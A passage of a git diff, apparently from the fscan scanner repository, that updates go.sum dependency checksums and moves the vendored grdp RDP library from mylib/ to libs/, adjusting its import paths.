h1:T4xUEny5PVedYIbkMAKYEBjMyDsOvvP0qK4s324AKA8= -github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= -github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lunixbochs/struc v0.0.0-20241101090106-8d528fa2c543 h1:GxMuVb9tJajC1QpbQwYNY1ZAo1EIE8I+UclBjOfjz/M= @@ -113,28 +108,18 @@ github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWE github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed h1:FI2NIv6fpef6BQl2u3IZX/Cj20tfypRF4yd+uaHOMtI= github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed/go.mod h1:3rdaFaCv4AyBgu5ALFM0+tSuHrBh6v692nyQe3ikrq0= -github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= -github.com/montanaflynn/stats v0.7.1 h1:etflOAAHORrCC44V+aR6Ftzort912ZU+YLiSTuV8eaE= -github.com/montanaflynn/stats v0.7.1/go.mod h1:etXPPgVO6n31NxCd9KQUMvCM+ve0ruNzt6R8Bnaayow= github.com/nicksnyder/go-i18n/v2 v2.4.0 h1:3IcvPOAvnCKwNm0TB0dLDTuawWEj+ax/RERNC+diLMM= github.com/nicksnyder/go-i18n/v2 v2.4.0/go.mod h1:nxYSZE9M0bf3Y70gPQjN9ha7XNHX7gMc814+6wVyEI4= github.com/panjf2000/ants/v2 v2.11.3 h1:AfI0ngBoXJmYOpDh9m516vjqoUu2sLrIVgppI9TZVpg= github.com/panjf2000/ants/v2 v2.11.3/go.mod h1:8u92CYMUc6gyvTIw8Ru7Mt7+/ESnJahz5EVtqfrilek= -github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= -github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= -github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 h1:N/ElC8H3+5XpJzTSTfLsJV/mx9Q9g7kxmchpfZyxgzM= -github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= -github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= -github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= -github.com/sijms/go-ora/v2 v2.9.0 h1:+iQbUeTeCOFMb5BsOMgUhV8KWyrv9yjKpcK4x7+MFrg= -github.com/sijms/go-ora/v2 v2.9.0/go.mod h1:QgFInVi3ZWyqAiJwzBQA+nbKYKH77tdp1PYoCqhR2dU= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww= github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU= @@ -142,32 +127,22 @@ github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= -github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= -github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= -github.com/xdg-go/scram v1.1.2 h1:FHX5I5B4i4hKRVRBCFRxq1iQRej7WO3hhBuJf+UUySY= -github.com/xdg-go/scram v1.1.2/go.mod h1:RT/sEzTbU5y00aCK8UOx6R7YryM0iF1N2MOmC3kKLN4= -github.com/xdg-go/stringprep v1.0.4 h1:XLI/Ng3O1Atzq0oBs3TWm+5ZVgkq2aqdlvP9JtoZ6c8= -github.com/xdg-go/stringprep v1.0.4/go.mod h1:mPGuuIYwz7CmR2bT9j4GbQqutWS1zV24gijq1dTyGkM= -github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 h1:ilQV1hzziu+LLM3zUTJ0trRztfwgjqKnBWNtSRkbmwM= -github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78/go.mod h1:aL8wCCfTfSfmXjznFBSZNN13rSJjlIOI1fUNAtF7rmI= +github.com/tjfoc/gmsm v1.4.1 h1:aMe1GlZb+0bLjn+cKTPEvvn9oUEBlJitaZiiBwsbgho= +github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVcTE= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= go.ciq.dev/go-rsync v0.0.0-20240304021629-0a3bb196e6d1 h1:lYxtzhvoRGnoET/RcKJDnRnmaHuGKBCUIj3D1ZubBNg= go.ciq.dev/go-rsync v0.0.0-20240304021629-0a3bb196e6d1/go.mod h1:xOHMiPHUTm8AQpxu4n14T8bRuT/izQISy8ycm/Q3LLY= -go.mongodb.org/mongo-driver v1.17.4 h1:jUorfmVzljjr0FLzYQsGP8cgN/qzzxlY9Vh0C9KFXVw= -go.mongodb.org/mongo-driver v1.17.4/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= @@ -175,17 +150,24 @@ golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= @@ -195,6 +177,9 @@ golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI= golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -204,10 +189,11 @@ golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w= golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -232,9 +218,7 @@ golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= @@ -243,6 +227,10 @@ golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= @@ -250,20 +238,35 @@ golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58 golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c h1:QgY/XxIAIeccR+Ca/rDdKubLIU9rcJ3xfy1DC/Wd2Oo= google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= -gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/mylib/grdp/.gitattributes b/libs/grdp/.gitattributes similarity index 100% rename from mylib/grdp/.gitattributes rename to libs/grdp/.gitattributes diff --git a/mylib/grdp/.gitignore b/libs/grdp/.gitignore similarity index 100% rename from mylib/grdp/.gitignore rename to libs/grdp/.gitignore diff --git a/mylib/grdp/LICENSE b/libs/grdp/LICENSE similarity index 100% rename from mylib/grdp/LICENSE rename to libs/grdp/LICENSE diff --git a/mylib/grdp/README.md b/libs/grdp/README.md similarity index 100% rename from mylib/grdp/README.md rename to libs/grdp/README.md diff --git a/mylib/grdp/core/io.go b/libs/grdp/core/io.go similarity index 98% rename from mylib/grdp/core/io.go rename to libs/grdp/core/io.go index de810d2..11b35ec 100644 --- a/mylib/grdp/core/io.go +++ b/libs/grdp/core/io.go @@ -2,7 +2,7 @@ package core import ( "encoding/binary" - "github.com/shadow1ng/fscan/mylib/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/glog" "io" ) diff --git a/mylib/grdp/core/socket.go b/libs/grdp/core/socket.go similarity index 100% rename from mylib/grdp/core/socket.go rename to libs/grdp/core/socket.go diff --git a/mylib/grdp/core/types.go b/libs/grdp/core/types.go similarity index 90% rename from mylib/grdp/core/types.go rename to libs/grdp/core/types.go index ba75edd..40335f8 100644 --- a/mylib/grdp/core/types.go +++ b/libs/grdp/core/types.go @@ -1,6 +1,6 @@ package core -import "github.com/shadow1ng/fscan/mylib/grdp/emission" +import "github.com/shadow1ng/fscan/libs/grdp/emission" type Transport interface { Read(b []byte) (n int, err error) diff --git a/mylib/grdp/core/util.go b/libs/grdp/core/util.go similarity index 100% rename from mylib/grdp/core/util.go rename to libs/grdp/core/util.go diff 